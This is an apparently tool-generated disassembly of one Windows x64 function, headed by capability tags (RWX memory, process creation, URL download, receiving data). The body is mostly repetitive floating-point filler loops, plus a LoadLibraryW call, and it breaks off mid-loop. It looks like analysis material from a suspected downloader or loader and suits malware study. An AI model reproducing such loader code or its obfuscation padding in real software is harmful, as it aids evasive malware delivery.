Function at 0x140005a40
Capabilities:
Allocate or change rwx memory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x6bf0
call fcn.14004fae0
sub rsp, rax
xor ecx, ecx
call fcn.14004d190
mov ecx, eax
call fcn.140056930
mov edx, 0x64
lea rcx, [rsp + 0x6728]
call fcn.14004c4f0
nop
lea rdx, [rsp + 0x6728]
lea rcx, [rsp + 0x58]
call fcn.14004ca90
nop
xorps xmm0, xmm0
movsd qword [rsp + 0x50], xmm0
mov qword [rsp + 0x88], 0
jmp 0x140005abb
mov rax, qword [rsp + 0x88]
inc rax
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x88], rax
jae 0x140005b46
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x6720], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x88]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x6720]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140005aa8
mov qword [rsp + 0x90], 0
jmp 0x140005b67
mov rax, qword [rsp + 0x90]
inc rax
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x90], rax
jae 0x140005bf2
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x33e0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x90]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x33e0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140005b54
mov qword [rsp + 0x98], 0
jmp 0x140005c13
mov rax, qword [rsp + 0x98]
inc rax
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x98], rax
jae 0x140005c9e
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x33e8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x98]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x33e8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140005c00
mov qword [rsp + 0xa0], 0
jmp 0x140005cbf
mov rax, qword [rsp + 0xa0]
inc rax
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xa0], rax
jae 0x140005d4a
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x33f0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xa0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x33f0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140005cac
mov qword [rsp + 0xa8], 0
jmp 0x140005d6b
mov rax, qword [rsp + 0xa8]
inc rax
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xa8], rax
jae 0x140005df6
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x33f8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xa8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x33f8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140005d58
mov qword [rsp + 0xb0], 0
jmp 0x140005e17
mov rax, qword [rsp + 0xb0]
inc rax
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xb0], rax
jae 0x140005ea2
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3400], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xb0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3400]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140005e04
mov qword [rsp + 0xb8], 0
jmp 0x140005ec3
mov rax, qword [rsp + 0xb8]
inc rax
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xb8], rax
jae 0x140005f4e
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3408], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xb8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3408]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140005eb0
mov qword [rsp + 0xc0], 0
jmp 0x140005f6f
mov rax, qword [rsp + 0xc0]
inc rax
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xc0], rax
jae 0x140005ffa
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3410], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xc0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3410]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140005f5c
mov qword [rsp + 0xc8], 0
jmp 0x14000601b
mov rax, qword [rsp + 0xc8]
inc rax
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xc8], rax
jae 0x1400060a6
mov rdx, qword [rsp + 0xc8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3418], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xc8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3418]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006008
mov qword [rsp + 0xd0], 0
jmp 0x1400060c7
mov rax, qword [rsp + 0xd0]
inc rax
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xd0], rax
jae 0x140006152
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3420], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xd0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3420]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400060b4
lea rcx, [rsp + 0x78]
call fcn.140005190
mov rcx, rax
call fcn.1400050f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x33d0], rax
mov qword [rsp + 0xd8], 0
jmp 0x140006196
mov rax, qword [rsp + 0xd8]
inc rax
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xd8], rax
jae 0x140006221
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3428], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xd8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3428]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006183
mov qword [rsp + 0xe0], 0
jmp 0x140006242
mov rax, qword [rsp + 0xe0]
inc rax
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xe0], rax
jae 0x1400062cd
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3430], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xe0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3430]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000622f
mov qword [rsp + 0xe8], 0
jmp 0x1400062ee
mov rax, qword [rsp + 0xe8]
inc rax
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xe8], rax
jae 0x140006379
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3438], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xe8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3438]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400062db
mov qword [rsp + 0xf0], 0
jmp 0x14000639a
mov rax, qword [rsp + 0xf0]
inc rax
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xf0], rax
jae 0x140006425
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3440], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xf0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3440]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006387
mov qword [rsp + 0xf8], 0
jmp 0x140006446
mov rax, qword [rsp + 0xf8]
inc rax
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0xf8], rax
jae 0x1400064d1
mov rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3448], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0xf8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3448]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006433
mov qword [rsp + 0x100], 0
jmp 0x1400064f2
mov rax, qword [rsp + 0x100]
inc rax
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x100], rax
jae 0x14000657d
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3450], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x100]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3450]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400064df
mov qword [rsp + 0x108], 0
jmp 0x14000659e
mov rax, qword [rsp + 0x108]
inc rax
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x108], rax
jae 0x140006629
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3458], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x108]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3458]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000658b
mov qword [rsp + 0x110], 0
jmp 0x14000664a
mov rax, qword [rsp + 0x110]
inc rax
mov qword [rsp + 0x110], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x110], rax
jae 0x1400066d5
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3460], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x110]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3460]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006637
mov qword [rsp + 0x118], 0
jmp 0x1400066f6
mov rax, qword [rsp + 0x118]
inc rax
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x118], rax
jae 0x140006781
mov rdx, qword [rsp + 0x118]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3468], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x118]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3468]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400066e3
mov qword [rsp + 0x120], 0
jmp 0x1400067a2
mov rax, qword [rsp + 0x120]
inc rax
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x120], rax
jae 0x14000682d
mov rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3470], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x120]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3470]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000678f
cmp qword [rsp + 0x33d0], 0
je 0x14004a9fb
mov qword [rsp + 0x128], 0
jmp 0x14000685d
mov rax, qword [rsp + 0x128]
inc rax
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x128], rax
jae 0x1400068e8
mov rdx, qword [rsp + 0x128]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3478], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x128]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3478]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000684a
mov qword [rsp + 0x130], 0
jmp 0x140006909
mov rax, qword [rsp + 0x130]
inc rax
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x130], rax
jae 0x140006994
mov rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3480], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x130]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3480]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400068f6
mov qword [rsp + 0x138], 0
jmp 0x1400069b5
mov rax, qword [rsp + 0x138]
inc rax
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x138], rax
jae 0x140006a40
mov rdx, qword [rsp + 0x138]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3488], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x138]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3488]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400069a2
mov qword [rsp + 0x140], 0
jmp 0x140006a61
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x140], rax
jae 0x140006aec
mov rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3490], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x140]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3490]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006a4e
mov qword [rsp + 0x148], 0
jmp 0x140006b0d
mov rax, qword [rsp + 0x148]
inc rax
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x148], rax
jae 0x140006b98
mov rdx, qword [rsp + 0x148]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3498], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x148]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3498]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006afa
mov qword [rsp + 0x150], 0
jmp 0x140006bb9
mov rax, qword [rsp + 0x150]
inc rax
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x150], rax
jae 0x140006c44
mov rdx, qword [rsp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34a0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x150]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006ba6
mov qword [rsp + 0x158], 0
jmp 0x140006c65
mov rax, qword [rsp + 0x158]
inc rax
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x158], rax
jae 0x140006cf0
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34a8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x158]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006c52
mov qword [rsp + 0x160], 0
jmp 0x140006d11
mov rax, qword [rsp + 0x160]
inc rax
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x160], rax
jae 0x140006d9c
mov rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34b0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x160]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34b0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006cfe
mov qword [rsp + 0x168], 0
jmp 0x140006dbd
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x168], rax
jae 0x140006e48
mov rdx, qword [rsp + 0x168]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34b8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x168]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34b8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006daa
mov qword [rsp + 0x170], 0
jmp 0x140006e69
mov rax, qword [rsp + 0x170]
inc rax
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x170], rax
jae 0x140006ef4
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34c0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x170]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34c0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006e56
mov qword [rsp + 0x178], 0
jmp 0x140006f15
mov rax, qword [rsp + 0x178]
inc rax
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x178], rax
jae 0x140006fa0
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34c8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x178]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34c8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006f02
mov qword [rsp + 0x180], 0
jmp 0x140006fc1
mov rax, qword [rsp + 0x180]
inc rax
mov qword [rsp + 0x180], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x180], rax
jae 0x14000704c
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34d0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x180]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34d0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
